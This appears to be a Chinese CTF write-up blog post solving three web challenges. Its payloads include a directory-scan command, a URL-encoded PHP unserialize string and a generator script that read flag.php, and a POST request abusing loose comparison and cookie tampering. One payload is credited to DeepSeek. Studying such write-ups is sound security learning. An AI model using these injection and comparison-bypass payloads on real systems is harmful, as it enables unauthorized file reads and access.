[ACTF2020 新生赛]BackupFile
扫目录一直扫不出来,扫了十来次,最后发现是是请求太快,
1
| dirsearch -u http://087da459-7de3-4061-82c8-b3cf69426d11.node5.buuoj.cn:81/ -w backup_include.txt --delay=1 -t 2
|
终于发现备份文件
/index.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php include_once "flag.php";
if(isset($_GET['key'])) { $key = $_GET['key']; if(!is_numeric($key)) { exit("Just num!"); } $key = intval($key); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"; if($key == $str) { echo $flag; } } else { echo "Try to find out source file!"; }
|
弱比较 强比较
1 2 3 4 5 6 7 8 9 10
| 在进行比较的时候 会先将两种参数类型转化成相同
如果为整型跟字符型比较 那么字符将从左往右提取整型直到遇到字符结束 再比较。
若字符型为数字中间包含了一个e或E 则e或E会被科学计数法的标记
而数字中间包含了一个. 也会被看作为小数点
https://blog.csdn.net/qq_51196842/article/details/120591289
|
然后上网查intval函数绕过
intval函数在处理字符串时以数字开头遇到第一个字母时会停止。
大概就是弱比较会将不同数据类型,然后$key被转化类型会变成 123,
然后get传 123 进index即可
[网鼎杯 2020 青龙组]AreUSerialz
直接拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
反序列化题,有点复杂,给deepseek看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 要获取flag,需要通过反序列化漏洞触发FileHandler类的read方法读取flag.php。步骤如下:
构造恶意对象:创建一个FileHandler对象,设置op为整数2(绕过析构函数的修改),filename为flag.php。
处理序列化字符串:由于protected属性在序列化中包含空字符,需使用大写S和十六进制转义绕过字符检查。
URL编码:确保特殊字符正确传输。
*** op为整数2:绕过析构函数中的严格比较,触发read方法。
转义空字符:使用\00表示空字符,通过is_valid检查。
读取flag.php:在析构时调用process,op仍为2,读取flag.php内容输出。
它直接给出了payload= ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22%5C00%5C2A%5C00op%22%3Bi%3A2%3BS%3A11%3A%22%5C00%5C2A%5C00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22%5C00%5C2A%5C00content%22%3BS%3A0%3A%22%22%3B%7D
直接传入后F12得到了flag!!?
|
自己来试试
1 2 3 4
| $a=new FileHandler($op=2,$filename='flag.php'); echo serialize($a);
O:11:"FileHandler":3:{s:5:"\00*\00op";N;s:11:"\00*\00filename";N;s:10:"\00*\00content";N;}
|
还是没搞懂,去找wp吧
出来的一直是这玩意:
1
| O:11:"FileHandler":3:{s:2:"op";N;s:8:"filename";N;s:7:"content";N;}
|
算了直接改吧
O:11:”FileHandler”:3:{s:2:”op”;2;s:8:”filename”;’flag.php’;s:7:”content”;N;}
不行
1 2 3 4 5 6 7 8 9 10
| <?php
class FileHandler{ public $op=2; public $filename="flag.php"; public $content; } $a=new FileHandler;
echo serialize($a);
|
行了
总结:
第一步:____destruct: 绕过 === “2”,因为这里是强等字符串2于,直接传入数值2会让它不等于,而不会被置为1;
第二步:is_valid(),题目里定义了这个函数来判断输入的字符是否未ascii码里的字符,若有在ascii码里的字符就会失败,这里网上就出现了两种绕过,
第一种:因为题目里用的是protected类型的变量,要从url传入的话会多出不ascii里的字符,所以想办法将payload里的不不合要求字符替换。
第二种:利用php 7.1+版本对类的属性不敏感,直接传入public类,就不会有不和要求字符
具体看:
https://blog.csdn.net/m0_46246804/article/details/108746253
https://blog.csdn.net/m0_73734159/article/details/134648981
第二步:到了这里因为传入了2,所以到了read()函数,会有file_get_contents()函数来指定文件来下一步,直接使得filename=”flag.php”即可
最后记得F12查看,因为程序里不会echo flag 而是 return flag!!!!!
wp里是用file_get_contents()的伪协议来直接输出base64编码后的flag
notice
is_valid()函数对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。
public无标记,变量名不变。 s:2:“op”;i:2;
protected在变量名前添加标记\00*\00。 s:5:“\00*\00op”;i:2;
private在变量名前添加标记\00类名\00。s:17:“\00类名\00op”;i:2;
序列化后protected类型的属性存在不可打印字符。(private类型的属性序列化后也产生不可打印字符);
PHP版本7.1+,对属性的类型不敏感;
[极客大挑战 2019]BuyFlag
感觉我心还是太急了,没发现cooki,没试一下用bp抓包,就上网找wp了,明明是很标准的流程,,,,,
一开始发现要post上传password,但是没发先有cookie一直回显要求的账户,把cookie改为1即可,
然后到密码,试了“404”,不行。看wp,用php弱比较,上传404a,显示能过不是纯数值这关,然后到弱比较,如果比较的变量开头是数字,会把数字截取到遇到字符为止,所以404a会变成404。
然后到了money,试了了一下,不能传太长的数值,所以用科学计数法传了9亿,拿到flag
1 2 3 4
| POST / cookie=1
password=404aa&money=9e8
|